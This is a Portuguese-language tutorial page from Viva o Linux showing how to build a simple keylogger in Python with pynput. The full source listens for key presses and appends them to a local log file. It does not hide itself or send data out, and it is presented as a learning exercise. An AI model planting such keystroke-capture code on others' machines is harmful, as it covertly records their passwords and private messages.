Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.267 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", }
for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado from pynput.keyboard import Listener #definir a localização do arquivo de log logFile = "/home/fabio/python/keylogger/log.txt" def writeLog(key): ''' Esta função será responsável por receber a tecla pressionada via Listener e escrever no arquivo de log ''' #dicionário com as teclas a serem traduzidas translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", } #converter a tecla pressionada para string keydata = str(key) #remover as asplas simples que delimitam os caracteres keydata = keydata.replace("'", "") for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key]) #abrir o arquivo de log no modo append with open(logFile, "a") as f: f.write(keydata) #abrir o Listener do teclado e escutar o evento on_press #quando o evento on_press ocorrer, chamar a função writeLog with Listener(on_press=writeLog) as l: l.join()
Tasker - Cotação do dólar usando Javascript
Viva o Linux 2008 - Site com cara e recursos novos!
Python - Usando requests anônimos através da rede Tor
Extracttext - como extrair texto de uma área selecionada da tela
Edital de política de contribuição de artigos
Como baixar fotos e vídeos do Instagram com Python
Crie um bot para Telegram e gerencie a escala de plantonistas
tux-gpt - Assistente de IA para o Terminal
Introdução ao clib (Command Line Book)
PEP 8 - Guia de estilo para código Python
Comparação entre os escalonadores BFQ e MQ-Deadline (acesso a disco) no Arch e Debian
Conciliando o uso da ZRAM e SWAP em disco na sua máquina
Servidor de Backup com Ubuntu Server 24.04 LTS, RAID e Duplicati (Dell PowerEdge T420)
Visualizar câmeras IP ONVIF no Linux sem necessidade de instalar aplicativos
Overclocking Permanente para Drastic no Miyoo Mini Plus
Problemas de chaves (/usr/share/keyrings) no Debian
Converter os repositórios Debian para o novo formato com as chaves
como instalar todas as dependencias, para jogar no bottles o jogo mu d... (1)
GLPI Mescla computadores com as mesmas informações e não separa (1)